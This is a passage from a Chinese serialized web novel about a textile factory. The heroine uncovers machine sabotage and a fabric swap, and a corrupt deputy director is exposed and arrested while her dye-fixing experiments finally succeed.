“甜丝丝的,我不喜欢这个味道。”陆良辰蹙眉。 不喜欢喝甜的是一个原因,另外一个原因,是想把好的留给姜海棠和小桃子。 “不喜欢也要喝!”姜海棠凶巴巴地掐了一把他的腰。 陆良辰哎呦一声,声音暗哑的说道:“棠棠,你这是打算谋杀亲夫?” 姜海棠被他这不正经的语气给弄得羞涩难当。 她一巴掌拍在陆良辰的胸膛上:“没正经!我先去接小桃子过来,她念叨了你好几天了。” 刚才想着要给陆良辰送饭,她便没有去接小桃子,现在陆良辰回来了,正好接小桃子回来,让父女两个说几句话。 陆良辰苦笑着放任姜海棠出门。 家里有人牵挂着的感觉真好。 第133章 连续出问题 小桃子跟着姜海棠欢天喜地地跑到屋里,肉乎乎的小短腿快速摆动,直愣愣地冲到陆良辰怀里。 “爸爸,小桃子想你了。”小丫头仰着红扑扑的小脸,大眼睛里满是依赖,像只撒娇的小猫。 陆良辰眉眼瞬间弯成月牙,小心翼翼地抱着小家伙,指尖轻轻捏捏她肉肉的小脸,声音里满是宠溺。 “我们小桃子有多想爸爸?” 小家伙歪着脑袋想了想,两只小手用力张开,在空中画了一个大大的圈儿,软糯的声音里满是坚决:“这么这么多!” 姜海棠站在门边,看着父女俩互动,唇角不自觉上扬,眼底溢出温柔的笑意。 小桃子突然搂住陆良辰的脖子,在他脸上响亮地亲了一口,口水印子清晰可见。 陆良辰摸着被亲的脸颊,脸上的笑容怎么都藏不住,连日加班带来的疲惫仿佛都被这一吻驱散了几分。 他刮了刮小桃子的鼻子,声音里都是慈爱:“小桃子,你乖乖的,过几天,爸爸带着你去京城好不好?” “京城是哪里?远不远?”小丫头眨着大眼睛,满脸茫然。 陆良辰耐心解释:“京城在很远很远的地方,那里有高高的城墙,大大的宫殿,还有数不清的好玩意儿。我们到时候坐火车去,‘呜呜呜’地就到啦!” “好耶,好耶!” 小桃子开心得从陆良辰怀里跳下来,在地上转起圈圈,羊角辫跟着飞舞,欢快的像只小蝴蝶。 姜海棠看着父女俩,眉梢微蹙,担忧地问:“现在厂里这样的情况,能有时间去吗?” 最近厂里风波不断,各种问题层出不穷,她实在放心不下。 陆良辰握住姜海棠的手,语气坚定:“我们腊月二十七出发,二十七之前肯定能将事情都处理清楚。相信我。” 姜海棠抿了抿唇,没再追问。 虽然陆良辰没有明说过到底是谁在背后捣乱,但她心里清楚,这些事背后的人在纺织厂扎根多年,势力盘根错节,哪有那么容易解决? 但她选择相信陆良辰,陆良辰不说,她就不问。 一家三口围坐在桌前,吃了一顿久违的团圆饭。 饭桌上,小桃子叽叽喳喳地分享着白天的趣事,陆良辰和姜海棠时不时对视一眼,眼里满是笑意。 吃完饭,陆良辰又要去加班。 小桃子立刻放下眼眶泛红,不舍地拉住陆良辰的衣角:“爸爸,你能不能不加班呀?” 陆良辰心疼地抱起小丫头,亲了一口她的小脸蛋,轻声哄道。 “乖宝宝,爸爸有正事要忙,你要听妈妈的话哦。等忙完这阵,爸爸陪你玩。” 小桃子懂事地点点头,虽然眼泪在眼眶里打转,但还是松开了手,对着陆良辰挥手。 “爸爸,小桃子会乖乖的。” 姜海棠转身将之前装好的饭盒装在军用背包里,又单独用油纸包了好几个烙饼,仔细地放进去,才递给陆良辰。 “这么多?”陆良辰看着鼓鼓囊囊的背包,有些惊讶。 “你们人多,总不能到时候你一个人吃,让别人看着吧?” 姜海棠边说边帮陆良辰将围巾戴好,眼里满是关切。 陆良辰感动地拥抱了一下姜海棠,在她额头上轻轻一吻,这才匆匆出门。 看着陆良辰离去的背影,姜海棠默默叹了口气,心中的担忧又多了几分。 接下来的几天,厂里果然风波不断,状况一个接着一个。 先是厂里有设备的零件被人掉包,导致机器运转异常;紧接着,有人将磨损的旧零件碎屑混入润滑油,差点引发重大事故。 姜海棠只是听着这些消息,都觉得胆战心惊。 她实在不能理解,这些人怎么能为了满足私欲,就不顾厂子的利益呢? 这天,姜海棠正在办公室里进行固色研究,忽然羊毛衫车间的组长张巧红上气不接下气地冲了进来。 她脸上满是焦急:“姜工,车间里出事了,机器在编织绞花图案时,总是断线,已经织坏了好几件衣服了。” “有没有给机械厂那边打电话?”姜海棠立刻站起来,神色紧张地问。 新机器才上了没多长时间,怎么就出问题了? 她首先怀疑,这次的事和之前一样,都是人为的。 但不管是人为还是机器本身的问题,首先要做的都是解决问题。 “已经打了,但机械厂那边的人说,负责这款机器的工程师请假回家了,工程师是外地人,暂时来不了。” 张巧红跑的太快了,气喘吁吁的,说话间还不停地大喘气。 姜海棠思索了一下,咬了咬牙,果断说道:“我过去看看,或许能解决。” 虽然这款机器是她提供的图纸,但后续的安装调试她都没有参与,可如今也没有其他办法,只能硬着头皮去试试。 只盼望问题不是很大,如果真的有大问题,只怕得请顾昀笛过来。 姜海棠心中着急,顾不得别的,一把抓起棉衣套上就往外跑。 张巧红反应迅速,跟在后面抓起姜海棠的围巾,大声喊道:“姜工,围巾,围巾!” 两人以最快的速度赶到车间,里面的女工们正急得团团转,几个年轻的姑娘眼眶都红了。 好好的线,就这么断了,她们都不知道原因。 “这批货腊月二十五要放到百货大楼去,现在出问题可怎么办?”一个女工带着哭腔说道。 “最近我们厂里也不知道怎么了,连续出事。”另一个女工唉声叹气。 这时,有人小声嘀咕:“会不会是因为新厂长的问题?镇不住厂子。” 姜海棠听到了这话,只是当作没听见,专注地观察着机器。 问题不能得到解决,再多的解释都没用,她唯一能帮陆良辰的就是让机器恢复正常。 好在,张巧红很机灵,立即呵斥道:“瞎说什么呢?这是封建迷信,你想不想好好的了。” 刚才开口的姑娘知道封建迷信几个字的厉害,吓得面色一白赶紧闭嘴,不敢再说话。 但姜海棠心里明白,厂里只怕有这种想法的人不在少数。 陆良辰身上的压力可想而知。 她脱下棉衣,挽起袖子,立即着手开始查找原因。 姜海棠仔细回想当初提供的图纸,蹲下身子,耐心地查看一个又一个零件。 零件没有出现损毁和替换的情况,到底是什么原因呢? 姜海棠陷入沉思,眉头紧紧皱起。 “能不能行啊?不能行就别逞能。”忽然,一个尖锐的声音响起。 姜海棠抬头一看,是女工李兴华,她正抱着双臂,一脸讥讽地看着自己。 “李兴华,你瞎说什么呢?姜工不行,难道你行?”张巧红立刻站出来维护姜海棠。 李兴华却毫不在意,冷笑着说道:“我是不行,可我不行归不行,又没有逞能。有些人啊,就爱出风头。” 张巧红的脸瞬间黑了下去,语气严厉:“李兴华,你闭嘴。” “说实话都不让人说了?一个靠着身体上位的贱人,也配拿那么高的工资?咱们厂就是因为有这种人,才乱掉的。” 李兴华这话一出,车间里瞬间安静下来,众人都被她的恶毒言语惊到了。 立刻有人反驳:“姜工哪里做的不好了?从她到了厂里,给厂里解决了多少问题?何况,她还在广交会上拿下了大单子。” “就是,就连羊毛衫这个项目,也是姜工的功劳。”其他女工也纷纷为姜海棠说话。 李兴华却嗤之以鼻,啐了一口说道:“别给她脸上贴金了,一个乡下来的女人,连小学都没读过,怎么可能有这么大的本事,也不知道是哪个倒霉蛋的功劳,被人安顿到了她身上。” 这话就像一颗炸弹,原本为姜海棠说话的人声音都小了下去,甚至有几个人看向姜海棠的目光都多了几分怀疑。 姜海棠确实没有上过多少学,虽然考试成绩很好,但到底是不是作假得来的? 姜海棠本来不打算和人起冲突,但话都说到这份上了,她也不能任由人污蔑。 她站起身,眼神冷冽地看着李兴华:“哦,那这位李兴华同志不妨说说,我占了谁的功劳?” 李兴华被姜海棠的眼神看得心里发虚,好半晌才说:“当然是咱们厂里几个技术员的功劳,黎景程和段长河,他们可都是纺织大学毕业的。” 姜海棠眼里闪过一抹兴味。 莫不是,今天这事儿和黎景程还有段长河有关系? 但不应该啊,这两个人表现一直都很不错,对待工作认真,学习态度也很认真。 她压下心中的疑惑,冷着脸说道:“谁帮忙去请一下这两位过来,有些事,还是当面说清楚的好。” 这事儿,有理由怀疑,李兴华是打算操纵厂里的舆论,甚至是挑拨研发部门的内部关系。 如果让她和黎景程、段长河几个人有了龃龉,对厂子的发展将有致命打击。 “不用让人去请,我们过来了。”黎景程的声音从车间门口传来,他大步走进来,眼神坚定。 段长河跟在他身后,脸上也带着不满。 “你们怎么来了?”张巧红惊讶地问。 第134章 你还要狡辩吗 “刚才听说这边车间里出了点问题,我们过来看看有没有能帮忙的地方。”黎景程板着脸说道:“谁知道,还没进门,就听到有人胡说八道。” 他说话的时候,还瞪了李兴华一眼。 李兴华却毫不畏惧,梗着脖子,一副理直气壮的模样。 “我才没有胡说八道,你们是大学生,难道还能不如一个小学都没上过的女人?我这可是为你们好,要是被她比下去,以后怎么在厂里立足?” “大学生就一定比其他人强吗?”黎景程反问道,眼神里满是不屑。 “那是当然!”李兴华依旧固执己见,“读了那么多书,总比没文化的强。” “学历从来都不是衡量一个人能力的唯一标准。” “不,你错了。”黎景程语气坚定,“知识和能力从来都不是靠学历来衡量的。姜工虽然没有高学历,但她的本事大家有目共睹。这几个月,姜工到底为厂里解决了多少困难,不是你说几句她没文化就能否定的。” 李兴华瞪大了眼睛,难以置信地盯着黎景程,仿佛面前站着一个傻子:“你真是不识好人心,没出息。一个大男人,你愿意被一个乡下女人压着一头?你不想拿十八级的工资?” 黎景程嘲讽地笑了笑:“承认一个人比自己优秀不难,承认一个女人比自己优秀也不难!” “你虽然只是一个纺织女工,但如果你比我优秀,我也能勇敢承认。可你呢?只会在这里嫉妒、污蔑别人,有这时间,不如多学点本事。” 李兴华被噎得满脸通红,气得浑身发抖,半天说不出话来。 而车间里的其他人,有的为黎景程的话鼓掌叫好,有的则露出恍然大悟的表情,之前对姜海棠的怀疑也消散了不少。 段长河也站出来,目光坚定地看着李兴华:“景程说得没错,我们是想有所建树,是想拿到十八级的工资,但那是要靠个人能力获得,而不是给别人强加罪名,打压别人获得。” “你们……”李兴华还想争辩。 “你不用继续挑衅,我们要向保卫科揭发你的恶劣行为。”黎景程毫不客气地打断她。 李兴华的脸瞬间红得像猴屁股,又气又急,却一句话也说不出来。 这时,姜海棠向黎景程和段长河点头致谢,随后又将目光落回故障的机器上。 她深吸一口气,强迫自己抛开刚才的纷争,全身心投入到机械结构的分析中。 姜海棠的指尖沿着齿轮纹路一寸寸摸索,神情专注而认真。 忽然,在绞花装置的传动带边缘,她摸到一道极细的凸起。 她的眼神瞬间一亮,立即喊道:“谁有手电筒,借给我用一下。” 车间里的工人们一听,知道可能有线索了,纷纷行动激动起来。 张巧红连忙问道:“你们谁有,抓紧拿过来。” 很快,两名女工拿着手电筒跑了过来。 姜海棠顾不上地上又脏又乱,直接躺了下去,拿着手电筒仔细观察刚才摸到凸起的地方。 在昏暗的光线下,她发现传动带上竟然多了一根细细的针,针被胶水牢牢地粘在上面。 正是这个小小的凸起,随着机器运转,卡住了羊绒线,然后线被飞速运转的机器割断。 “找到了!”姜海棠声音不自觉地拔高,“传动带被人为破坏。” 张巧红连忙说:“姜工,你帮忙看一下,这几台机器是不是都是一样的原因。” 姜海棠立即走到其他出现问题的机器旁,依次检查。 果然,每一台机器都是因为同样的原因才出现故障。 “让维修班的人来,将这个位置的针清理一下就好了。” 她转身吩咐张巧红安排人去找维修班。 就在这时,姜海棠余光瞥见李兴华正悄悄往车间门口挪动。 她眼神一凛,快步上前拦住去路,声音冰冷:“李兴华同志,请留步。” “我要上厕所!”李兴华慌乱地喊了一声,不仅不停下,反而转身就跑。 但她刚跑出几步,就被另外两名眼疾手快的女工一左一右抓住了。 “好你个李兴华,难怪你不断地给姜工找事,原来是怕姜工找到问题。” “太可恶了,你竟然敢破坏机器,把她送到保卫科去。” “刚才她还挑拨说,厂里连续出事,是因为陆厂长,原来是贼喊捉贼。” 众人你一言我一语,愤怒的指责声此起彼伏,根本不给李兴华辩驳的机会。 李兴华却还在强作镇定,声音颤抖地说:“你们别血口喷人,我,我不知道你们说的什么。” “不知道,不知道你跑什么?”张巧红咬牙切齿地说。 她把这二十台提花机当成眼珠子一样看待,没想到,竟然有人敢破坏。 张巧红恨不得生吞了李兴华。 “我说了,我就是想上厕所,你们不能私自抓我。” “别跟她废话,抓到保卫科去。”张巧红一声令下,几个女工七手八脚地将李兴华抓起来,朝着保卫科的方向走去。 黎景程和段长河看着这一幕,不禁感叹道:“这样细节的地方,也就是姜工才能找到,换了我,可没这样心细。” “以后,我们可要多跟着姜工学习。”段长河附和道。 黎景程想起今天李兴华的挑拨,心有余悸地说:“姜工,我们对您绝对没有取而代之的心思,以后要是还有人挑拨是非,您一定要给我们一个自证清白的机会。” 姜海棠浅笑着说:“我们在一起好歹也有几个月时间了,你们是什么人,我还能不知道?” “要不,姜工,我们两个给您当学生吧?”黎景程和段长河互看一眼之后,忽然开口。 姜海棠忙摆手:“可别,我这点水平可当不起你们的老师,咱们以后,一起努力,互相合作。”三人相视一笑,气氛融洽。 张巧红满脸愧疚地走过来:“没想到,我的组里竟然有这样的人,还挑拨你们之间的关系。” 她的眼皮子底下出了这种事,亏得没有酿成严重后果,要不然,她就真的是罪人了。 “李兴华犯错误,和你没关系,是她本身的问题。”姜海棠柔声安慰道。 在她心里,隐隐觉得李兴华或许只是被人当枪使了而已。 有心算无心,就算张巧红再怎么尽心尽力,只怕也没有办法避免。 正说着,维修班的同志到了。姜海棠详细地给他们说了一下机器出现故障的原因,随后转身离开。 黎景程和段长河见状,也立即跟上。 另一边,李兴华被带到保卫科之后,几个女工你一言我一语,将事情的经过详细说了一遍。 保卫科科长赵凯立即安排人进行调查和审讯。 一开始,李兴华还在拼命狡辩,一口咬定自己什么都不知道。 但在赵凯的严厉质问和证据面前,她渐渐扛不住压力,哭着说出了真相。 “从四天前开始,我陆续收到用报纸上的字剪贴成的信,让我破坏提花机,对方扬言如果不配合捣乱,就让人对付我家里人。” “我这也是没办法,我爹妈把我养活长大不容易,我不能看着他们有危险不管啊。” 说着,她还说出了那些隐藏的地方。 赵凯安排人去取信,果然在李兴华说的地方找到了三封信。 这些信都是用报纸上的字剪下来,一个个粘贴而成,没有任何笔迹,调查难度极大。 李兴华被关了起来,保卫科的调查却紧锣密鼓地展开。 虽然对方行事十分缜密,采用了剪贴的方式,但只要做过的事,终究会留下蛛丝马迹。 经过一番抽丝剥茧的调查,赵凯终于将事情的来龙去脉查清楚了。 到此时为止,这件事已经不是保卫科能处理的了。 陆良辰当机立断,将这件事交给了工业局。 翌日一早,厂领导班子召开紧急会议。 会议室里气氛凝重,陆良辰目光严肃地扫视一圈,然后郑重指出:“经过调查,秦副厂长胁迫收买厂里的职工破坏生产,给厂里造成了巨大损失。” 秦副厂长猛地站起来,摔着茶杯,暴跳如雷。 “陆良辰,你这是欲加之罪,打算凭两个工人的口供就想动我这个副厂长?你这是排除异己,我要去厅里告你!” 陆良辰冷笑一声:“如果你没有做,我怎么会公然指出是你?自然是我已经掌握了确凿的证据。” “不可能,这不可能。”秦副厂长还在嘴硬。 “没什么不可能的。”陆良辰拿出一叠资料,“这是破坏锅炉管道用到的劣质盐化剂,虽然你拐弯抹角才弄到,但每个环节我们都已经调查清楚,人证物证都有。” “还有调包零件、导致机器运转异常;将磨损的旧零件碎屑混入润滑油,差点造成生产事故。此外,你还指使人将好不容易调制好的染色剂进行破坏。” “以及今天提花机被人破坏的问题,我们都已经调查清楚,你要看看吗?还是,秦永良,你要继续狡辩?” 秦永良突然大笑起来:“年轻人,你知道当年我——” 就在这时,会议室的门被猛地推开了,几个穿着中山装的男人快步走进来。他们目光冷峻。 第135章 实验再次失败了 白炽灯发出刺目的光,照得人脸上发白。 陆良辰原本随意搭在椅背上的手猛地收紧,他立即站起来,但并没有打招呼,脊背绷得笔直。 调查情况交上去了,但结果会如何,陆良辰心里没底。 秦永良转着手中的搪瓷杯,杯底与桌面碰撞出细碎的“哒哒”声,看着这几个人,他忽然有种不太好的感觉。 常年眯着的三角眼微微眯起,镜片后的目光像毒蛇般在对方身上游走。 为首的中年男人面容严肃,中山装洗得发白却浆得笔挺。 他从中山装的上衣口袋里摸出工作证,动作不紧不慢,却带着不容置疑的威严。 “我们是调查组的,根据举报线索,秦永良长期在纺织厂贪污受贿、恶意破坏生产。现在,请秦永良同志配合调查。” 话音落地,会议室陷入死寂,只有老式挂钟的滴答声格外沉闷。 陆良辰与谭书记对视一眼,眼中皆是欣慰。 两人桌下的手悄悄握了握,掌心满是汗意。 过去三个月,他们像潜伏在黑暗中的猎手,在堆积如山的账本里翻找蛛丝马迹,在深夜的厂区追踪可疑身影。 那些藏在仓库角落的假票据、篡改过的生产记录,此刻终于派上用场。 是的,调查不是从胡厂长离开才开始的,而是在很早之前就已经展开。 秦永良在纺织厂深耕多年,势力不可小觑。 只是胡厂长调走后,他觉得,自己的机会到了,为了打压陆良辰,他连续在厂里人为制造事故。 这些天,陆良辰和谭书记故意放水,让秦永良一次比一次过分,就是为了引蛇出洞,如今终于等到收网时刻。 好在,秦永良没有渗透调查组那边,他们的辛苦没有白费。 这一次,秦永良应该回不来了。 解决了秦永良这个巨大隐患,纺织厂拨云见雾,再次焕发新生。 第一批一百五十件羊毛衫如期送到了百货大楼。 大红的羊绒泛着珍珠般的光泽,领口处精致的提花图案栩栩如生。 这批羊毛衫一上市,就得到了女同志们的狂热追捧,可以说,一衣难求。 清晨六点,百货大楼还没开门,队伍已经排到了街角。 穿着厚重棉衣的姑娘踮着脚张望,烫着卷发的阿姨攥着皱巴巴的钞票来回踱步。 “给我留一件!” “我先到的!” 争吵声此起彼伏,售货员不得不拿着喇叭维持秩序。 许多人在排队、找关系,只为了得到一件新式的羊毛衫。 厂里的职工们获悉这个消息,开心的不得了。 织机车间里,机器轰鸣声中夹杂着爽朗的笑声。 张巧红把孩子的照片贴在织机旁:“宝宝,等妈忙完这段时间,就回去给你做好吃的,炸丸子、炸夹沙,还有冬果肉都给你做!” 李桂梅大冬天额头的汗珠滴落,也不愿意稍微停顿。 她们都在努力地投入工作,以百分之两百的热情快速纺织。 然而,现实的难题摆在眼前。 目前只有二十台提花机,织机转得再快,产量也跟不上需求。 女工们在机器的轰鸣声中大声地聊上两句:“要是能多一些提花机,我们就可以生产更多的羊毛衫。” “我听说,过年后,又有一批新的提花机能过来,到时候,我们车间就能扩大生产规模了。” 这些话像火种,点燃了每个人心中的希望。 同样的消息也传到了机械厂。 车间里,铁屑纷飞,机床的嗡鸣声震得人耳膜发疼。 毛厂长手里捏着生产进度表,手指狠狠戳着滞后的数字。 “提花机要提前交工,可不能到了最后,我们成为罪人。” 毛厂长深深觉得,压力真大啊。 “厂长,您放心,最近新调来的几个同志正在研究提高生产,相信很快就能见效果。” 技术员小王擦着眼镜,镜片后的眼睛闪着兴奋的光。 “那就好,加快生产,除了保障目前已经订购出去的,还要提前预备广交会上需要的。”毛厂长意气风发。 “不得不说,小姜同志,确实是我们厂的福星啊,从请她到我们厂兼职之后,我们厂算是走上快车道了。”朱厂长感慨地说道。 毛厂长摸着下巴,陷入思考。 冬日的阳光照在他日渐稀疏的头顶,泛着光,大脑袋微微摇晃。 “你看看纺织厂现在的发展,才是真正的快车道,我们还是慢了,要是能把姜海棠挖过来我们厂的发展应该会更快。” 朱厂长闻言,刚喝进嘴里的茶水差点喷出来:“这个想法,咱们还是放弃吧,厂长。” 毛厂长疑惑问:“为什么?我们厂可比纺织厂要大要强。” 这天下还有不喜欢大厂的人? “陆良辰是纺织厂的厂长,姜海棠怎么可能来我们机械厂?” “是因为陆良辰长得好?要是这样,我们厂里抓紧招几个颜值高身材好的小伙子。小姜同志,还有这爱好呢?不过,小姜是美人,喜欢看俊男人也正常。” 毛厂长越说越兴奋,恨不得厂里立即多出几个未婚年轻帅气的小伙子。 朱厂长看着领导天马行空的思路,一时语塞。 厂长这思维方式,还挺前卫啊! “厂长,小姜是陆厂长的未婚妻。”朱厂长疑惑地问:“这事儿,您不知道?” “好个老胡,糟老头子太坏了,这么重要的事竟然从来没给我说过。” 毛厂长气恼地拍着桌子,震得桌上的茶杯叮当作响。 等会儿就给他打电话好好说道说道这个事儿。 而此时的纺织厂实验室里,气氛凝重得能拧出水来。 姜海棠眼睛一瞬不瞬地盯着实验器皿,指甲深深掐进掌心。 黎景程和段长河抱着记录本站在一旁,大气都不敢出。 这是她们第五十七次固色实验。 然而,最终,实验布料上的颜色还是晕染成诡异的灰白。 黎景程拿着试管神情沮丧:“硫酸盐配方还是不行,汗渍测试过不了关!” 他的声音带着哭腔,疲惫写在脸上。 姜海棠轻轻捏了一下眉头,转身回到显微镜前。 载玻片在灯光下泛着冷光,她的目光突然被棉纤维的断面牢牢吸引,那些像蛛网般蔓延的氧化损伤纹路,在高倍镜头下触目惊心。 “我们搞错方向了。” 她猛地站起来,撞翻了烧杯,蓝色的液体在地上蜿蜒成河。 “什么?”黎景程立即来了精神。 “不是固色剂不够强,是纤维本身氧化了!得先修复再固色!” “可是,为什么纤维本身会存在问题?”黎景程不能理解,抓起实验服袖口擦汗。 姜海棠的指尖在记录本上快速滑动,眼中燃起兴奋的光芒。 “或许,从一开始,给我们的布料就是有问题的……” 秦永良做了那么多的事,不可能会放过他们研发部门,只是研发部门目前铁桶一般难以渗透,他直接提供有问题的布料,也不是不可能。 她的声音戛然而止,与段长河对视一眼,同时冲出实验室。 “我记得上次蒸箱的温度传感器显示异常……给我们的布料,或许就是那些。” 她的声音戛然而止,与段长河对视一眼,两人同时冲出实验室。一场与时间赛跑的排查,正在暮色中拉开帷幕。 段长河忙喊道:“你们去干什么?” “你先守着实验室,我们很快回来。” 二人匆匆跑远,留下段长河一个人傻眼。 两人直奔设备仓库,生锈的铁门推开时扬起一阵呛人的灰尘,堆积的旧零件与检修记录册杂乱摆放。 黎景程在纸箱中翻找出两个月前的蒸箱检修报告,泛黄的纸页间,一行潦草的字迹赫然入目:温度传感器数值偏差±15℃,布料存入仓库…… “我们现在就去仓库。”姜海棠当机立断。 第136章 查证 寒风凛冽,仓库的铁门锈迹斑斑,门锁上挂着一把大大的大铁锁。 姜海棠和黎景程绕到仓库后窗,黎景程从兜里掏出一根铁丝,几下撬开了插销。 仓库里堆满了的布料,灰尘在昏暗的光线下漂浮。 姜海棠快步走向角落,掀开一摞盖着油布的坯布,手指在布料边缘摸索着。 “你看这个。”她低声说。 指尖捏起一块布料的边角,昏暗中,能看出来上面盖着的质检章。 黎景程的脸色变了:“这批布料……不是我们实验的那批!” “可能被人调换了。” “这是有人不愿意我们的实验取得成功。”黎景程语气带着失望。 他怀揣着美好到的纺织厂,从来没有想过,纺织厂竟然能内斗到这个地步。 二人正说话,仓库门突然“吱呀”一声被推开,一道手电筒的光柱直直照了进来。 “谁在那儿?!”仓库管理员老周厉声喝道,手里的电筒晃得刺眼。 姜海棠迅速把布料撕下一片塞进袖口,黎景程则挡在她前面,故作镇定道:“周师傅,我们是来核对实验布料的。” “核对实验布料?我怎么不知道你们什么时候进来的?” 老周眯起眼睛,脸上的皱纹在灯光下显得阴沉。 姜海棠冷笑一声:“我们要是经过你,还能进来吗?” 老周一噎,随即梗着脖子道:“反正没有手续,谁都不能动仓库的东西!” 黎景程上前一步,压低声音:“周师傅,实验用的布料,为什么不是原本的那一批?要是追查起来……” 老周的脸色变了变,眼神闪烁。 “周师傅,你应该知道,有些人回不来了,你还打算一意孤行吗?”姜海棠问。 就在这时,仓库外突然传来一阵急促的脚步声,那脚步声在寂静的厂区里显得格外突兀,仿佛预示着一场风暴的来临。 一道粗噶的声音远远传来:“老周!谁在仓库?” 这声音中带着不容置疑的威严与警惕,仿佛一头嗅到猎物气息的野兽。 姜海棠和黎景程对视一眼,眼中皆是警惕与慌乱,他们迅速闪到架子后方,身体紧贴着冰冷的金属货架,大气都不敢出。 架子上堆积的布料在昏暗的光线下,掩盖着两人紧张的呼吸。 老周握的手微微颤抖,犹豫了一瞬,突然压低声音道:“后门……快走!” 他的声音里满是焦急与担忧,仿佛已经预感到即将到来的危机。 两人没有迟疑,贴着墙根溜向后门。 就在他们即将冲出去的时候,钱大壮的身影出现在仓库门口。 他手中的手电筒光柱直直照在两人身上,强烈的光线让他们下意识地眯起眼睛。 “站住!”钱大壮厉声喝道。 他穿着崭新的军大衣,皮鞋钉上的铁掌在水泥地上踏出清脆的声响,每一声都像是敲在两人的心上。 “你们在仓库干什么勾当?”他的声音充满了质问与怀疑,眼神如鹰隼般锐利地盯着两人。 姜海棠挺直腰板,强装镇定:“原来是钱组长啊,我们研发部的实验出了问题,来查查原料。” 她的声音尽量保持平稳,但微微颤抖的尾音还是泄露了内心的紧张。 仓库出问题,这位负责仓库管理的人肯定也有问题。 钱大壮眯起眼睛,手电筒的光在两人脸上来回扫视,仿佛要将他们看穿。 “查原料?有厂办的批条吗?” 姜海棠和黎景程两个人全神戒备,谁都没敢说一句话。 “现在可是特殊时期,任何破坏生产的行为都要严肃处理!” 黎景程上前一步,挡在姜海棠前面,眼神坚定:“我们怀疑实验用的布料被人动了手脚,我们……” “胡说八道!”钱大壮突然暴喝,脸上的横肉都在颤抖,表情狰狞可怖。 “你们这是污蔑革命生产!污蔑我们的工作,老周,把他们撵出去,以后不许再来仓库!” 他的声音在仓库内回荡,震得人耳膜生疼。 老周迟疑着没动,眼神在钱大壮和姜海棠两人之间游移。 钱大壮狠狠瞪了他一眼,眼中满是威胁:“怎么?你也想跟着他们一起犯错误?” “钱组长,他们真的是来查看一下布料的!”老周低声解释。 “什么时候,仓库归你做主了?”钱大壮很是不悦。 寒风卷着雪花从门口灌进来,姜海棠的手指在袖子里攥紧了那块布料。 布料粗糙的质感,仿佛给了她一丝勇气。 她冷笑一声:“钱组长,你这么紧张干什么?难道这批布料真有什么见不得人的问题?” 钱大壮的脸色瞬间变得铁青:“放肆!我要找保卫科……” “找保卫科干什么?自首吗?”一个洪亮的声音突然从外面传来。 声音如同一记重锤,打破了紧张的对峙。 众人回头,只见陆良辰大踏步地走来,身后还跟着赵凯以及保卫科的几个人。 陆良辰身姿挺拔,眼神坚定,浑身上下散发着一股不怒自威的气场。 “厂长,您来了,我这里抓住两个破坏生产的人!” 钱大壮立即先开口,脸上换上了一副谄媚的表情,但眼中的慌乱却无法掩饰。 陆良辰皱着眉头扫视众人,目光最后落在钱大壮身上,声音低沉而威严:“钱大壮,你这是要抓谁啊?” 钱大壮的气势顿时矮了半截,该死的,他忘了,这个女人,好像是陆良辰的女人。 不过他觉得,自己是有理的,因此,立即开口:“陆厂长,他们私自闯入仓库……” 姜海棠趁机掏出那块布料,语气急切。 “陆厂长,我们发现实验布料被人调换了!才来仓库查找的,老周可以作证,但钱组长不管三七二十一,就要抓我们!” 她提到了老周,其实是有一定风险的,毕竟,老周似乎有些摇摆不定。 老周在陆良辰的凝视下,缓缓点头:“陆厂长,是这样的。” 陆良辰脸色严肃的接过布料仔细查看,手指轻轻摩挲着布料的纹理。 “钱大壮,你说说是怎么回事?” 陆良辰的声音变得冰冷,仿佛寒冬里的北风,让人不寒而栗。 钱大壮的额头开始冒汗,豆大的汗珠顺着脸颊滑落。 “不是的,陆厂长,她撒谎,我们提供的布料怎么会有问题?一定是他们没有办法解决问题,才故意找事,一定是这样!” 他的声音开始颤抖,语气中充满了慌乱与心虚。 “钱大壮,你是不到黄河心不死啊,你以为,我们还没调查清楚你和秦永良的关系?” 陆良辰的声音如同一记炸雷,在仓库内响起。 现场一片死寂,只有寒风呼啸的声音。 钱大壮的脸色由青转白,嘴唇哆嗦着说不出话来。 他没想到,这么快,就调查到他的身上了,他心中满是恐惧与绝望。 陆良辰转身对保卫科的人说:“去把仓库彻底检查一遍,所有布料的进出记录都封存起来,尤其是实验用的布料。” 他的语气不容置疑,接着,他又看向姜海棠和黎景程。 “你们跟我到办公室详细汇报情况。” 钱大壮眼瞅着事情不好,直接扑上来抓住陆良辰的胳膊,眼中满是哀求。 “陆厂长,您听我解释。” “放手。赵凯,带走!”陆良辰一把甩开他,语气冰冷而决绝,“从现在开始,你停职接受调查!” 雪花纷纷扬扬地落下,姜海棠和黎景程跟着陆良辰走向办公楼。 仓库门口,钱大壮瘫坐在地上,崭新的军大衣沾满了污泥,显得狼狈不堪。 赵凯带着几个人,将他一把拉起来,走向保卫科,他的身影在寒风中瑟瑟发抖。 老周看着走远的背影,抹了一把额头上的冷汗,暗自庆幸。 好在,他关键时候没有掉链子。 要是顺着钱大壮的意思,肯定要完。 不过,他也有错误,还是提前找保卫科的同志说清楚,还能落得宽大处理。 远处传来零星的鞭炮声,春节就要到了…… 陆良辰办公室,暖黄色的灯光洒在桌面上,给人一种温暖的感觉。 姜海棠和黎景程将事情的起因和他们的怀疑说清楚后,匆匆告辞。 马上就要过年了,他们的目标是过年前将固色问题解决清楚。 只有解决问题,他们才能安心回家过年。 回到实验室,白炽灯发出轻微的电流声。 黎景程虔诚地开启下一轮实验的准备工作,玻璃器皿在灯光下折射出细碎的光。 姜海棠站在一旁,一句话也没说,但心里却一样紧张。 “第五十八次。” 黎景程往锥形瓶里倒入淡蓝色的固色剂,药液接触空气的瞬间,腾起一缕若有若无的白雾。 他的手腕因为长时间持握试管,微微有点插兜。 姜海棠则将搅拌棒缓缓插入染缸,靛蓝色的染料在漩涡中翻涌,像极了他们这些天来挥之不去的焦虑。 这一次,实验进行得很顺利,三个人在实验成功的那一刻,欢呼雀跃。 欢呼过后,黎景程直接躺倒在地上,四肢舒展,仿佛要将这些日子的疲惫都释放出来。 “总算解决了,真累啊,我想美美地睡一觉。”他的声音中带着难以掩饰的轻松与疲惫。 “我们休息吧。好好的睡觉,等睡醒了,回家过年。”姜海棠浅笑着说道,嘴角的梨涡里盛满了喜悦。 她的眼睛亮晶晶的,仿佛藏着漫天星辰。 段长河将黎景程拉起来:“地上凉,我们回宿舍睡去。” 两个人走远,姜海棠去了舒启华的屋里。 屋内弥漫着淡淡的药味,暖炉烧得正旺,却驱不散空气中的寒意。 天气越来越冷了,舒启华身体太差,已经病了有一段时间了。 此时,她正躺在床上休息,面色苍白,看到姜海棠,想起身,被姜海棠拦住了。 第137章 